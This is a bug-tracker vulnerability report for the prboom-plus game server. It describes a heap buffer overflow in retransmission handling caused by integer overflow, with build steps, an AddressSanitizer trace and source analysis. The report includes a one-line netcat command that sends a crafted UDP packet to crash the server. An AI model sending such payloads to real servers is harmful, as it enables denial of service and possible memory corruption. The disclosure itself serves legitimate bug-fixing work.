Menu

#252 Heap buffer overflow in server's packet retransmission

v2.2.6.*
open
nobody
None
5
2019-08-18
2019-08-18
mmmds
No

When the server receives a retransmission packet, heap buffer overflow may occur because of integer overflow resulting in calculation a buffer bigger than 10000 bytes (fixed size of udp packet, src/SDL/i_network.c:92).

Tested on:
OS: Ubuntu 16.04 32 bit
Code from: https://svn.prboom.org/repos/branches/prboom-plus-24/prboom2/
Game data: FreeDM from https://freedoom.github.io/download.html
Compilation with asan:

root@ubuntu16:~/projects/prboom-plus/prboom2# sed -i 's/^CFLAGS_OPT=.*/CFLAGS_OPT="-O0 -ggdb3"/' configure.ac
root@ubuntu16:~/projects/prboom-plus/prboom2# ./bootstrap 
root@ubuntu16:~/projects/prboom-plus/prboom2# CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix=`pwd`/bin
root@ubuntu16:~/projects/prboom-plus/prboom2# make install

Starting the server:

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server 
Listening on port 5030, waiting for 2 players

Starting two clients:

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse 
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse 

Sending a packet and causing a crash.
echo -n -e '\xb6\x05\x01\x01\x56\x33\x27\xff\x00' | nc -u 10.1.1.109 5030

=================================================================
==29005==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4f02810 at pc 0xb7a76866 bp 0xbf989f48 sp 0xbf989b18
WRITE of size 10991 at 0xb4f02810 thread T0
    #0 0xb7a76865  (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
    #1 0x804e24c in I_SendPacketTo /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:261
    #2 0x804ce71 in main /root/projects/prboom-plus/prboom2/src/d_server.c:708
    #3 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #4 0x8049396  (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus-game-server+0x8049396)

0xb4f02810 is located 0 bytes to the right of 10000-byte region [0xb4f00100,0xb4f02810)
allocated by thread T0 here:
    #0 0xb7ae3b44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
    #1 0xb7714767  (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
    #2 0x80499bf in I_InitSockets /root/projects/prboom-plus/prboom2/src/d_server.c:296
    #3 0x804a8d3 in main /root/projects/prboom-plus/prboom2/src/d_server.c:432
    #4 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865) 
Shadow bytes around the buggy address:
  0x369e04b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x369e0500: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29005==ABORTING

From my analysis, integer overflow happens in src/d_server.c:

565          remoteticto[from] = ptic(packet);

remoteticto becomes a negative value, affecting calculation:

684        if ((remoteticto[i] -= xtratics) < 0) remoteticto[i] = 0;
685        tics = lowtic - remoteticto[i];
686        {
687          byte *p;
688          packet = malloc(sizeof(packet_header_t) + 1 +
689           tics * (1 + numplayers * (1 + sizeof(ticcmd_t))));
(...)
707          }
708          I_SendPacketTo(packet, p - ((byte*)packet), remoteaddr+i);

lowtic grows while the game is on and after about 20 seconds reaches value >= 526 what is enough to calculate a size greater than 10000 bytes.

Discussion


Log in to post a comment.